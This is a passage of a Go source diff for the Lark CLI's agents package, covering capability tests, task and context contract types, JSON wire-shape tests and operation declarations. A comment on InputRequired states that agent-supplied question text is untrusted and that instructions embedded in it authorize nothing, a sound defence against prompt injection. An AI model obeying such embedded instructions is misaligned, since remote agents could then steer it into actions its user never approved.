if !c.Supports(CapContextList) {
|
||||
t.Error("context_list should be supported")
|
||||
}
|
||||
if c.Supports("nonexistent") {
|
||||
t.Error("unknown capability should be treated as unsupported")
|
||||
}
|
||||
// nil guard branch: a nil receiver is treated as unsupported; a zero-value Capabilities is all false.
|
||||
var nilCard *AgentCard
|
||||
if nilCard.Supports(CapContextList) {
|
||||
t.Error("nil card should be treated as unsupported")
|
||||
}
|
||||
if (&AgentCard{}).Supports(CapContextList) {
|
||||
t.Error("zero-value Capabilities should be treated as unsupported")
|
||||
}
|
||||
// Each capability constant must map to its own struct field (the switch has no gaps or mismatches).
|
||||
all := &AgentCard{Capabilities: Capabilities{
|
||||
ArtifactDownload: true, FileInput: true, InputRequired: true,
|
||||
ContextList: true, ContextGet: true, ContextDelete: true,
|
||||
TaskCancel: true, TaskGet: true, TaskList: true,
|
||||
}}
|
||||
for _, k := range []string{
|
||||
CapArtifactDownload, CapFileInput, CapInputRequired,
|
||||
CapContextList, CapContextGet, CapContextDelete,
|
||||
CapTaskCancel, CapTaskGet, CapTaskList,
|
||||
} {
|
||||
if !all.Supports(k) {
|
||||
t.Errorf("Supports(%q) should be true when all Capabilities are true", k)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeriveCapabilities pins the crown jewel: capability = wired-hook presence.
|
||||
func TestDeriveCapabilities(t *testing.T) {
|
||||
// Minimal (echo-like): only the core hooks + read verbs.
|
||||
min := coreSpec("echo")
|
||||
min.ListContexts = ContextListOp{Handler: func(context.Context, Runtime, PageParams) ([]ContextSummary, PageInfo, error) {
|
||||
return nil, PageInfo{}, nil
|
||||
}}
|
||||
c := DeriveCapabilities(&min, core.BrandFeishu)
|
||||
if !c.TaskGet {
|
||||
t.Error("task_get should be true (GetTask is a mandatory core hook)")
|
||||
}
|
||||
if !c.ContextList {
|
||||
t.Error("context_list should be true (ListContexts wired)")
|
||||
}
|
||||
// The three context caps are independent: only ListContexts is wired here, so
|
||||
// context_get / context_delete stay false (no umbrella multi_turn bit).
|
||||
if c.TaskCancel || c.ArtifactDownload || c.TaskList || c.FileInput || c.InputRequired || c.ContextGet || c.ContextDelete {
|
||||
t.Errorf("unwired capabilities should be false, got %+v", c)
|
||||
}
|
||||
|
||||
// Full (reporter-like): everything wired / declared.
|
||||
full := coreSpec("reporter")
|
||||
full.ListTasks = TaskListOp{Handler: func(context.Context, Runtime, string, PageParams) ([]TaskSummary, PageInfo, error) {
|
||||
return nil, PageInfo{}, nil
|
||||
}}
|
||||
full.CancelTask = TaskCancelOp{Handler: func(context.Context, Runtime, string) error { return nil }}
|
||||
full.ListContexts = ContextListOp{Handler: func(context.Context, Runtime, PageParams) ([]ContextSummary, PageInfo, error) {
|
||||
return nil, PageInfo{}, nil
|
||||
}}
|
||||
full.GetContext = ContextGetOp{Handler: func(context.Context, Runtime, string) (*ContextDetail, error) { return nil, nil }}
|
||||
full.DeleteContext = ContextDeleteOp{Handler: func(context.Context, Runtime, string) error { return nil }}
|
||||
full.DownloadArtifact = ArtifactDownloadOp{Handler: func(context.Context, Runtime, string, string) (*ArtifactData, error) { return nil, nil }}
|
||||
full.FileInput = true
|
||||
full.InputRequired = true
|
||||
c = DeriveCapabilities(&full, core.BrandFeishu)
|
||||
if !(c.TaskGet && c.TaskList && c.TaskCancel && c.ContextList && c.ContextGet && c.ContextDelete && c.ArtifactDownload && c.FileInput && c.InputRequired) {
|
||||
t.Errorf("a fully-wired spec should have every capability true, got %+v", c)
|
||||
}
|
||||
}
|
||||
|
||||
// TestBuildCardOffline pins that BuildCard with rt=nil fills registration
|
||||
// metadata + derived caps + static per-agent metadata, always offline (Describe
|
||||
// is never invoked without a runtime).
|
||||
func TestBuildCardOffline(t *testing.T) {
|
||||
prov := catalogProvider("nc", "a1")
|
||||
prov.Identities = []IdentitySpec{{Type: IdentityBot, Precondition: "需要白名单"}}
|
||||
prov.Catalog[0].Describe = func(context.Context, Runtime) (*CardInfo, error) {
|
||||
return &CardInfo{Name: "REMOTE"}, nil // must NOT be called with rt=nil
|
||||
}
|
||||
spec := &prov.Catalog[0]
|
||||
|
||||
card := BuildCard(context.Background(), prov, spec, "a1", core.BrandFeishu, nil)
|
||||
if card.Provider != "nc" || card.AgentID != "a1" {
|
||||
t.Fatalf("provider/agent_id: %+v", card)
|
||||
}
|
||||
if card.ProviderLabel != prov.Label || card.AgentIDSource != prov.AgentIDSource {
|
||||
t.Fatalf("registration metadata should be pre-filled: %+v", card)
|
||||
}
|
||||
if len(card.Identity) != 1 || card.Identity[0].Type != IdentityBot {
|
||||
t.Fatalf("identity should come from the provider: %+v", card.Identity)
|
||||
}
|
||||
if card.HasParameters == nil || len(card.HasParameters) != 0 {
|
||||
t.Fatalf("has_parameters should be empty but non-nil (always emit []): %#v", card.HasParameters)
|
||||
}
|
||||
if !card.Capabilities.TaskGet {
|
||||
t.Error("task_get should be derived true")
|
||||
}
|
||||
if card.Name != "name-a1" {
|
||||
t.Errorf("offline card should use the static spec Name (not the rt=nil Describe), got %q", card.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// TestBuildCardDynamicDescribe pins the rt != nil path: Describe enriches
|
||||
// Name/Description when it succeeds, and a Describe error is swallowed so the
|
||||
// card degrades to the offline version (best-effort).
|
||||
func TestBuildCardDynamicDescribe(t *testing.T) {
|
||||
prov := instanceProvider("dyn") // instance spec: no static Name
|
||||
prov.Instance.Describe = func(context.Context, Runtime) (*CardInfo, error) {
|
||||
return &CardInfo{Name: "Remote Name", Description: "Remote Desc"}, nil
|
||||
}
|
||||
card := BuildCard(context.Background(), prov, prov.Instance, "agt_x", core.BrandFeishu, fakeRT{})
|
||||
if card.Name != "Remote Name" || card.Description != "Remote Desc" {
|
||||
t.Errorf("rt != nil + Describe should enrich the card, got name=%q desc=%q", card.Name, card.Description)
|
||||
}
|
||||
|
||||
// A Describe error degrades to the offline card (no enrichment), never fails.
|
||||
prov.Instance.Describe = func(context.Context, Runtime) (*CardInfo, error) {
|
||||
return nil, errs.NewInternalError(errs.SubtypeUnknown, "describe boom")
|
||||
}
|
||||
card = BuildCard(context.Background(), prov, prov.Instance, "agt_x", core.BrandFeishu, fakeRT{})
|
||||
if card.Name != "" {
|
||||
t.Errorf("a Describe error should be swallowed → offline card (instance has no static Name), got name=%q", card.Name)
|
||||
}
|
||||
if !card.Capabilities.TaskGet {
|
||||
t.Error("caps should still be present on the degraded card")
|
||||
}
|
||||
}
|
||||
175
internal/agents/contract.go
Normal file
175
internal/agents/contract.go
Normal file
@@ -0,0 +1,175 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import "fmt"
|
||||
|
||||
// AgentTask is the unified structure that task-family commands put into output.Envelope.Data.
|
||||
type AgentTask struct {
|
||||
TaskID string `json:"task_id"`
|
||||
ContextID string `json:"context_id,omitempty"`
|
||||
State TaskState `json:"state"`
|
||||
IsTerminal bool `json:"is_terminal"`
|
||||
CreatedAt string `json:"created_at,omitempty"` // ISO 8601; when the task was created (empty if the provider does not supply it)
|
||||
UpdatedAt string `json:"updated_at,omitempty"` // ISO 8601; when the current status was recorded (aligns with A2A TaskStatus.timestamp)
|
||||
Messages []Message `json:"messages,omitempty"`
|
||||
Artifacts []Artifact `json:"artifacts,omitempty"`
|
||||
InputRequired *InputRequired `json:"input_required,omitempty"`
|
||||
}
|
||||
|
||||
// Message is one turn of an agent or user message, composed of several Parts.
|
||||
type Message struct {
|
||||
Role string `json:"role"` // "agent" | "user"
|
||||
Parts []Part `json:"parts"`
|
||||
}
|
||||
|
||||
// Part is one fragment of a message: text, file, or structured data.
|
||||
type Part struct {
|
||||
Type string `json:"type"` // "text" | "file" | "data"
|
||||
Text string `json:"text,omitempty"`
|
||||
// File/Data pass-through: file uses URL/Name, data uses Data.
|
||||
Name string `json:"name,omitempty"`
|
||||
URL string `json:"url,omitempty"`
|
||||
Data interface{} `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
// Artifact is one artifact produced by a task (file / inline text), downloadable
|
||||
// via URL.
|
||||
//
|
||||
// Its fields align with A2A's Artifact/FilePart, but only what a provider can
|
||||
// truly deliver is populated (e.g. example only provides ID + Kind — the
|
||||
// coarse-grained kind at the GetTask stage — plus Name/Mime at the download
|
||||
// stage). Mime/Description/Size are placeholders under A2A semantics; if a
|
||||
// provider does not yet supply them they are omitted via omitempty and lit up
|
||||
// only once the provider can fill them, rather than creating empty shell fields
|
||||
// that cannot be filled.
|
||||
type Artifact struct {
|
||||
ID string `json:"id"`
|
||||
Kind string `json:"kind,omitempty"` // coarse-grained kind (image/file/...), a type hint before download
|
||||
Name string `json:"name,omitempty"` // file name (with extension), helps choose the -o save name
|
||||
Mime string `json:"mime,omitempty"` // content type (image/png…), empty if the provider does not supply it
|
||||
Description string `json:"description,omitempty"`
|
||||
Size int64 `json:"size,omitempty"` // byte count, 0 if the provider does not supply it
|
||||
URL string `json:"url,omitempty"`
|
||||
Text string `json:"text,omitempty"`
|
||||
}
|
||||
|
||||
// InputRequired is the question group a task raises while in the
|
||||
// input_required state: group-level presentation (Label/Description) plus 1..N
|
||||
// Questions — a single question is simply a length-1 group, never a special
|
||||
// shape. There is deliberately NO group-level machine id: addressing rides
|
||||
// context_id+task_id (one pending group per task at a time), stale-retry
|
||||
// detection rides the per-group-unique QuestionIDs (see MintQuestionIDs), and
|
||||
// multi-endpoint arbitration rides the task-state transition (an accepted group
|
||||
// moves the task out of input_required; a late submission gets
|
||||
// failed_precondition carrying resolved_answers). Every text field is
|
||||
// agent-controlled UNTRUSTED content: pretty rendering must sanitize, and an AI
|
||||
// consumer relays it as data — instructions embedded in it never authorize
|
||||
// anything. On the wire the group rides an A2A DataPart (kind=question_group,
|
||||
// design doc §10.1); a provider hook fills this struct directly.
|
||||
type InputRequired struct {
|
||||
Label string `json:"label,omitempty"` // group title, display-only
|
||||
Description string `json:"description,omitempty"` // why the group is asked, display-only
|
||||
Questions []Question `json:"questions"` // 1..N questions, answered atomically in one send
|
||||
}
|
||||
|
||||
// Question is one question inside an input_required group. Options present and
|
||||
// non-empty = choice question: a bare answer value MUST hit an OptionID (typo
|
||||
// safety — a wrong value errors, it is never silently taken as text) and free
|
||||
// text goes through the explicit "<qid>.text" key form. Options absent =
|
||||
// free-text question: the ".text" form is canonical and a bare value is its
|
||||
// tolerated alias. MultiSelect is only meaningful for choice questions.
|
||||
type Question struct {
|
||||
QuestionID string `json:"question_id"` // answer routing key; charset KeyPattern; minted per-group-unique when the provider has none
|
||||
Question string `json:"question"` // the question text (untrusted)
|
||||
MultiSelect bool `json:"multi_select,omitempty"` // choice question: repeated --answer values accumulate
|
||||
Options []Option `json:"options,omitempty"` // present+non-empty = choice question; empty is normalized to absent
|
||||
}
|
||||
|
||||
// Option is one selectable choice: OptionID is the stable wire key an answer
|
||||
// references (unique within its question — the wire carries the key, the
|
||||
// provider resolves it back to label/business payload from its stored group);
|
||||
// Label/Description are the human-facing text (untrusted).
|
||||
type Option struct {
|
||||
OptionID string `json:"option_id"`
|
||||
Label string `json:"label"`
|
||||
Description string `json:"description,omitempty"`
|
||||
}
|
||||
|
||||
// SummaryText is the triage digest of a pending group (design doc §3.3), used
|
||||
// as TaskSummary.Summary for an input_required task: the group Label when
|
||||
// present, else the first question's text; suffixed with the question count
|
||||
// when the group has more than one question.
|
||||
func (ir *InputRequired) SummaryText() string {
|
||||
if ir == nil {
|
||||
return ""
|
||||
}
|
||||
head := ir.Label
|
||||
if head == "" && len(ir.Questions) > 0 {
|
||||
head = ir.Questions[0].Question
|
||||
}
|
||||
if head == "" {
|
||||
head = ir.Description
|
||||
}
|
||||
if n := len(ir.Questions); n > 1 {
|
||||
return fmt.Sprintf("%s(共 %d 题)", head, n)
|
||||
}
|
||||
return head
|
||||
}
|
||||
|
||||
// TaskSummary is a single task summary in the task list output (and in a
|
||||
// context's active_task). It carries just enough to triage without a full
|
||||
// task get: state + when it last changed + a one-line content digest.
|
||||
type TaskSummary struct {
|
||||
TaskID string `json:"task_id"`
|
||||
ContextID string `json:"context_id,omitempty"`
|
||||
State TaskState `json:"state"`
|
||||
IsTerminal bool `json:"is_terminal"`
|
||||
UpdatedAt string `json:"updated_at,omitempty"` // ISO 8601; when the status was last recorded — the key for "most recent"
|
||||
Summary string `json:"summary,omitempty"` // last agent message, ANSI-stripped + flattened + truncated; for input_required it is InputRequired.SummaryText (group label, else first question)
|
||||
}
|
||||
|
||||
// ContextSummary is a single context summary in the context list output. It is
|
||||
// the conversation-layer rollup used to pick which conversation needs attention.
|
||||
// It deliberately carries NO task_count: at the list level no triage decision
|
||||
// consumes it (awaiting_input / updated_at do that work), and requiring a
|
||||
// per-context total in a list call would force real providers into N+1 counting.
|
||||
// The count lives on ContextDetail (`context get`).
|
||||
type ContextSummary struct {
|
||||
ContextID string `json:"context_id"`
|
||||
CreatedAt string `json:"created_at,omitempty"`
|
||||
UpdatedAt string `json:"updated_at,omitempty"` // ISO 8601; last activity across the context's tasks
|
||||
Title string `json:"title,omitempty"`
|
||||
AwaitingInput bool `json:"awaiting_input,omitempty"` // a task is paused in input_required/auth_required (needs the caller)
|
||||
}
|
||||
|
||||
// ContextDetail is the context detail in the context get output. It is the
|
||||
// conversation overview — metadata + a rollup + the single task the caller would
|
||||
// most likely act on. The full task enumeration lives in `agents task list
|
||||
// --context-id`, so ContextDetail deliberately does NOT embed the whole tasks[].
|
||||
type ContextDetail struct {
|
||||
ContextID string `json:"context_id"`
|
||||
CreatedAt string `json:"created_at,omitempty"`
|
||||
UpdatedAt string `json:"updated_at,omitempty"`
|
||||
Title string `json:"title,omitempty"`
|
||||
// TaskCount is the number of tasks in the context. A pointer so the three
|
||||
// states stay distinct on the wire: nil = the provider cannot supply the
|
||||
// count (field omitted), &0 = a genuinely empty context, &n = n tasks. A
|
||||
// plain int with omitempty would silently conflate 0 with unknown.
|
||||
TaskCount *int `json:"task_count,omitempty"`
|
||||
AwaitingInput bool `json:"awaiting_input,omitempty"`
|
||||
ActiveTask *TaskSummary `json:"active_task,omitempty"` // the task with the latest updated_at (nil for an empty context)
|
||||
}
|
||||
|
||||
// ArtifactData is the return value of DownloadArtifact: the URL type gives URL,
|
||||
// the inline type gives Bytes. Name is the server-suggested file name (echoed
|
||||
// back only as a suggested_name reference for the command layer); it is
|
||||
// untrusted input and must never participate in constructing the local save
|
||||
// path — the save path is always determined by -o/SafeOutputPath.
|
||||
type ArtifactData struct {
|
||||
Name string
|
||||
Mime string
|
||||
URL string
|
||||
Bytes []byte
|
||||
}
|
||||
201
internal/agents/contract_test.go
Normal file
201
internal/agents/contract_test.go
Normal file
@@ -0,0 +1,201 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestAgentTaskJSON pins the question-group wire shape (design doc §3): group
|
||||
// label/description, questions[] with question_id/question/options/multi_select,
|
||||
// option description, and the deleted decision-era fields staying deleted.
|
||||
func TestAgentTaskJSON(t *testing.T) {
|
||||
at := AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: StateInputRequired,
|
||||
IsTerminal: false,
|
||||
InputRequired: &InputRequired{
|
||||
Label: "报表生成确认",
|
||||
Description: "生成前需确认以下口径",
|
||||
Questions: []Question{
|
||||
{QuestionID: "q1_a8", Question: "按什么维度拆分?",
|
||||
Options: []Option{{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"}, {OptionID: "by_category", Label: "按品类"}}},
|
||||
{QuestionID: "q2_a8", Question: "时间范围?"},
|
||||
{QuestionID: "q3_a8", Question: "包含哪些区域?", MultiSelect: true,
|
||||
Options: []Option{{OptionID: "east", Label: "华东"}, {OptionID: "north", Label: "华北"}}},
|
||||
}}}
|
||||
b, _ := json.Marshal(at)
|
||||
var m map[string]interface{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if m["state"] != "input_required" {
|
||||
t.Errorf("state=%v", m["state"])
|
||||
}
|
||||
ir, ok := m["input_required"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatal("input_required should appear as an object in the input_required state")
|
||||
}
|
||||
if ir["label"] != "报表生成确认" || ir["description"] != "生成前需确认以下口径" {
|
||||
t.Errorf("group label/description should serialize, got %v", ir)
|
||||
}
|
||||
qs, ok := ir["questions"].([]interface{})
|
||||
if !ok || len(qs) != 3 {
|
||||
t.Fatalf("questions should serialize as a 3-element array, got %v", ir["questions"])
|
||||
}
|
||||
q1, _ := qs[0].(map[string]interface{})
|
||||
if q1["question_id"] != "q1_a8" || q1["question"] != "按什么维度拆分?" {
|
||||
t.Errorf("questions[0] should carry question_id/question, got %v", q1)
|
||||
}
|
||||
if _, present := q1["multi_select"]; present {
|
||||
t.Errorf("false multi_select should be omitted via omitempty, got %v", q1["multi_select"])
|
||||
}
|
||||
opts, _ := q1["options"].([]interface{})
|
||||
if len(opts) != 2 {
|
||||
t.Fatalf("questions[0].options should be 2 elements, got %v", q1["options"])
|
||||
}
|
||||
if o0, _ := opts[0].(map[string]interface{}); o0["option_id"] != "by_region" || o0["label"] != "按大区" || o0["description"] != "华东/华北/华南汇总" {
|
||||
t.Errorf("options[0] should be {option_id,label,description}, got %v", opts[0])
|
||||
}
|
||||
q2, _ := qs[1].(map[string]interface{})
|
||||
if _, present := q2["options"]; present {
|
||||
t.Errorf("a text question must omit options entirely, got %v", q2["options"])
|
||||
}
|
||||
q3, _ := qs[2].(map[string]interface{})
|
||||
if q3["multi_select"] != true {
|
||||
t.Errorf("multi_select=true should serialize, got %v", q3["multi_select"])
|
||||
}
|
||||
// The decision era is over: no group-level machine id, no arbitration fields.
|
||||
for _, gone := range []string{"decision_id", "input_type", "prompt", "submitted", "submitted_option_id"} {
|
||||
if _, present := ir[gone]; present {
|
||||
t.Errorf("deleted field %q must stay off the wire, got %v", gone, ir[gone])
|
||||
}
|
||||
}
|
||||
// unset artifacts should be omitted via omitempty
|
||||
if _, ok := m["artifacts"]; ok {
|
||||
t.Error("artifacts should be omitted via omitempty")
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentTaskTimestampsJSON pins the added lifecycle timestamps: created_at /
|
||||
// updated_at are emitted when set and omitted via omitempty when empty.
|
||||
func TestAgentTaskTimestampsJSON(t *testing.T) {
|
||||
b, _ := json.Marshal(AgentTask{TaskID: "chat_1", State: StateCompleted,
|
||||
CreatedAt: "2026-07-07T00:00:00Z", UpdatedAt: "2026-07-07T00:01:00Z"})
|
||||
var m map[string]interface{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if m["created_at"] != "2026-07-07T00:00:00Z" || m["updated_at"] != "2026-07-07T00:01:00Z" {
|
||||
t.Errorf("created_at/updated_at should be emitted, got %v", m)
|
||||
}
|
||||
|
||||
b, _ = json.Marshal(AgentTask{TaskID: "chat_1", State: StateWorking})
|
||||
m = map[string]interface{}{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if _, ok := m["created_at"]; ok {
|
||||
t.Error("created_at should be omitted via omitempty when empty")
|
||||
}
|
||||
if _, ok := m["updated_at"]; ok {
|
||||
t.Error("updated_at should be omitted via omitempty when empty")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskSummaryJSON pins the enriched task-summary shape: updated_at + summary
|
||||
// are emitted when set and omitted via omitempty when empty.
|
||||
func TestTaskSummaryJSON(t *testing.T) {
|
||||
b, _ := json.Marshal(TaskSummary{TaskID: "chat_1", ContextID: "sess_1",
|
||||
State: StateCompleted, IsTerminal: true,
|
||||
UpdatedAt: "2026-07-07T00:01:00Z", Summary: "报表已生成"})
|
||||
var m map[string]interface{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if m["updated_at"] != "2026-07-07T00:01:00Z" {
|
||||
t.Errorf("updated_at should be emitted, got %v", m["updated_at"])
|
||||
}
|
||||
if m["summary"] != "报表已生成" {
|
||||
t.Errorf("summary should be emitted, got %v", m["summary"])
|
||||
}
|
||||
|
||||
b, _ = json.Marshal(TaskSummary{TaskID: "x", State: StateWorking})
|
||||
m = map[string]interface{}{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if _, ok := m["summary"]; ok {
|
||||
t.Error("summary should be omitted via omitempty when empty")
|
||||
}
|
||||
if _, ok := m["updated_at"]; ok {
|
||||
t.Error("updated_at should be omitted via omitempty when empty")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextSummaryJSON pins the rollup shape: the summary carries NO
|
||||
// task_count (the count lives on ContextDetail only); awaiting_input is
|
||||
// omitted when false; updated_at is carried.
|
||||
func TestContextSummaryJSON(t *testing.T) {
|
||||
b, _ := json.Marshal(ContextSummary{ContextID: "sess_1"})
|
||||
var m map[string]interface{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if _, ok := m["task_count"]; ok {
|
||||
t.Error("ContextSummary must not carry task_count (list-level counts were removed)")
|
||||
}
|
||||
if _, ok := m["awaiting_input"]; ok {
|
||||
t.Error("awaiting_input should be omitted via omitempty when false")
|
||||
}
|
||||
|
||||
b, _ = json.Marshal(ContextSummary{ContextID: "sess_1",
|
||||
UpdatedAt: "2026-07-07T00:01:00Z", AwaitingInput: true})
|
||||
m = map[string]interface{}{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if m["awaiting_input"] != true {
|
||||
t.Errorf("awaiting_input should be true, got %v", m["awaiting_input"])
|
||||
}
|
||||
if m["updated_at"] != "2026-07-07T00:01:00Z" {
|
||||
t.Errorf("updated_at should be emitted, got %v", m["updated_at"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextDetailJSON pins that context detail NO LONGER embeds a full tasks[]:
|
||||
// it carries task_count + awaiting_input + a single nested active_task (omitted
|
||||
// when nil). task_count is tri-state: nil = unknown (omitted), &0 = genuinely
|
||||
// empty, &n = n tasks.
|
||||
func TestContextDetailJSON(t *testing.T) {
|
||||
b, _ := json.Marshal(ContextDetail{ContextID: "sess_1", TaskCount: Int(2), AwaitingInput: true,
|
||||
ActiveTask: &TaskSummary{TaskID: "chat_1", State: StateInputRequired, Summary: "按大区还是品类拆?"}})
|
||||
var m map[string]interface{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if _, ok := m["tasks"]; ok {
|
||||
t.Error("ContextDetail must NOT embed a full tasks[] anymore")
|
||||
}
|
||||
if tc, _ := m["task_count"].(float64); tc != 2 {
|
||||
t.Errorf("task_count should be 2, got %v", m["task_count"])
|
||||
}
|
||||
if m["awaiting_input"] != true {
|
||||
t.Errorf("awaiting_input should be true, got %v", m["awaiting_input"])
|
||||
}
|
||||
at, ok := m["active_task"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("active_task should be a nested object, got %v", m["active_task"])
|
||||
}
|
||||
if at["summary"] != "按大区还是品类拆?" {
|
||||
t.Errorf("active_task.summary should be carried, got %v", at["summary"])
|
||||
}
|
||||
|
||||
// A genuinely empty context keeps an explicit 0 (not conflated with unknown);
|
||||
// active_task is omitted; awaiting_input stays omitted when false.
|
||||
b, _ = json.Marshal(ContextDetail{ContextID: "empty", TaskCount: Int(0)})
|
||||
m = map[string]interface{}{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if tc, ok := m["task_count"].(float64); !ok || tc != 0 {
|
||||
t.Errorf("an explicit &0 task_count must stay on the wire as 0, got %v", m["task_count"])
|
||||
}
|
||||
if _, ok := m["active_task"]; ok {
|
||||
t.Error("active_task should be omitted via omitempty when nil")
|
||||
}
|
||||
if _, ok := m["awaiting_input"]; ok {
|
||||
t.Error("awaiting_input should be omitted via omitempty when false")
|
||||
}
|
||||
|
||||
// nil task_count = the provider cannot supply the count: the field is
|
||||
// omitted entirely, so unknown is never mistaken for an empty context.
|
||||
b, _ = json.Marshal(ContextDetail{ContextID: "unknown"})
|
||||
m = map[string]interface{}{}
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if _, ok := m["task_count"]; ok {
|
||||
t.Error("a nil TaskCount should omit task_count from the wire (unknown ≠ 0)")
|
||||
}
|
||||
}
|
||||
312
internal/agents/ops.go
Normal file
312
internal/agents/ops.go
Normal file
@@ -0,0 +1,312 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"reflect"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// Op is one declared operation: the business parameters it accepts bound to
|
||||
// the handler that serves it. Attaching Params to the handler (rather than an
|
||||
// agent-global table) makes "parameters declared on an unimplemented
|
||||
// operation" impossible by construction. A zero-value Op means the operation
|
||||
// is not supported.
|
||||
type Op[H any] struct {
|
||||
Params []CardParam
|
||||
// Brands scopes this capability to a subset of brands (feishu/lark). Empty
|
||||
// means all brands. It is DECLARED at registration (brand-agnostic) and
|
||||
// GATED at command time against the resolved brand — the registry stays
|
||||
// offline. Register validates every value is feishu|lark.
|
||||
Brands []core.LarkBrand
|
||||
Handler H
|
||||
}
|
||||
|
||||
// The eight operation shapes. Each is an alias to an instantiated Op — the
|
||||
// handler signatures are exactly the former hook signatures, so a provider
|
||||
// migrates by wrapping `Send: f` into `Send: SendOp{Handler: f}`.
|
||||
type (
|
||||
SendOp = Op[func(ctx context.Context, rt Runtime, in SendInput) (*AgentTask, error)]
|
||||
TaskGetOp = Op[func(ctx context.Context, rt Runtime, taskID string) (*AgentTask, error)]
|
||||
TaskListOp = Op[func(ctx context.Context, rt Runtime, contextID string, page PageParams) ([]TaskSummary, PageInfo, error)]
|
||||
TaskCancelOp = Op[func(ctx context.Context, rt Runtime, taskID string) error]
|
||||
ContextListOp = Op[func(ctx context.Context, rt Runtime, page PageParams) ([]ContextSummary, PageInfo, error)]
|
||||
ContextGetOp = Op[func(ctx context.Context, rt Runtime, ctxID string) (*ContextDetail, error)]
|
||||
ContextDeleteOp = Op[func(ctx context.Context, rt Runtime, ctxID string) error]
|
||||
ArtifactDownloadOp = Op[func(ctx context.Context, rt Runtime, taskID, artifactID string) (*ArtifactData, error)]
|
||||
)
|
||||
|
||||
// wired reports whether the operation has a handler. IMPLEMENTATION
|
||||
// CONSTRAINT: H is a func type parameter, so `any(o.Handler) != nil` would box
|
||||
// a typed nil into a non-nil interface and report every unwired operation as
|
||||
// supported — reflect.Value.IsNil is the only correct generic path (verified
|
||||
// by test on the zero value).
|
||||
func (o Op[H]) wired() bool {
|
||||
v := reflect.ValueOf(o.Handler)
|
||||
return v.Kind() == reflect.Func && !v.IsNil()
|
||||
}
|
||||
|
||||
func (o Op[H]) params() []CardParam { return o.Params }
|
||||
|
||||
func (o Op[H]) brands() []core.LarkBrand { return o.Brands }
|
||||
|
||||
// Verb constants: the operation vocabulary is the capability key set plus
|
||||
// "send" — the AI reads one set of words for both "which verbs exist"
|
||||
// (capabilities) and "what parameters each verb takes" (--operation).
|
||||
const (
|
||||
VerbSend = "send"
|
||||
VerbTaskGet = CapTaskGet // "task_get"
|
||||
VerbTaskList = CapTaskList // "task_list"
|
||||
VerbTaskCancel = CapTaskCancel // "task_cancel"
|
||||
VerbContextList = CapContextList // "context_list"
|
||||
VerbContextGet = CapContextGet // "context_get"
|
||||
VerbContextDelete = CapContextDelete // "context_delete"
|
||||
VerbArtifactDownload = CapArtifactDownload // "artifact_download" (task get --artifact)
|
||||
)
|
||||
|
||||
// OpInfo is one operation's declaration as seen by framework consumers
|
||||
// (card --operation, has_parameters, per-verb validation).
|
||||
type OpInfo struct {
|
||||
Verb string
|
||||
Wired bool
|
||||
Params []CardParam
|
||||
// Brands is the operation's brand scope (empty = all brands), surfaced so
|
||||
// the command layer can gate a wired-but-brand-excluded capability.
|
||||
Brands []core.LarkBrand
|
||||
}
|
||||
|
||||
// opDecl is the single-enumeration seam: every Op instantiation satisfies it,
|
||||
// so Ops() is the one place that knows the verb↔field mapping. All framework
|
||||
// consumers (capabilities, has_parameters, --operation, validation) enumerate
|
||||
// through it — adding a ninth operation means extending exactly this table.
|
||||
type opDecl interface {
|
||||
wired() bool
|
||||
params() []CardParam
|
||||
brands() []core.LarkBrand
|
||||
}
|
||||
|
||||
// Ops enumerates the spec's eight operations in fixed verb order.
|
||||
func (s *AgentSpec) Ops() []OpInfo {
|
||||
decls := []struct {
|
||||
verb string
|
||||
op opDecl
|
||||
}{
|
||||
{VerbSend, s.Send},
|
||||
{VerbTaskGet, s.GetTask},
|
||||
{VerbTaskList, s.ListTasks},
|
||||
{VerbTaskCancel, s.CancelTask},
|
||||
{VerbContextList, s.ListContexts},
|
||||
{VerbContextGet, s.GetContext},
|
||||
{VerbContextDelete, s.DeleteContext},
|
||||
{VerbArtifactDownload, s.DownloadArtifact},
|
||||
}
|
||||
out := make([]OpInfo, 0, len(decls))
|
||||
for _, d := range decls {
|
||||
out = append(out, OpInfo{Verb: d.verb, Wired: d.op.wired(), Params: d.op.params(), Brands: d.op.brands()})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Op looks up one operation by verb (ok=false for a word outside the verb
|
||||
// vocabulary).
|
||||
func (s *AgentSpec) Op(verb string) (OpInfo, bool) {
|
||||
for _, o := range s.Ops() {
|
||||
if o.Verb == verb {
|
||||
return o, true
|
||||
}
|
||||
}
|
||||
return OpInfo{}, false
|
||||
}
|
||||
|
||||
// Verbs returns the fixed verb vocabulary (declaration order of Ops).
|
||||
func Verbs() []string {
|
||||
return []string{
|
||||
VerbSend, VerbTaskGet, VerbTaskList, VerbTaskCancel,
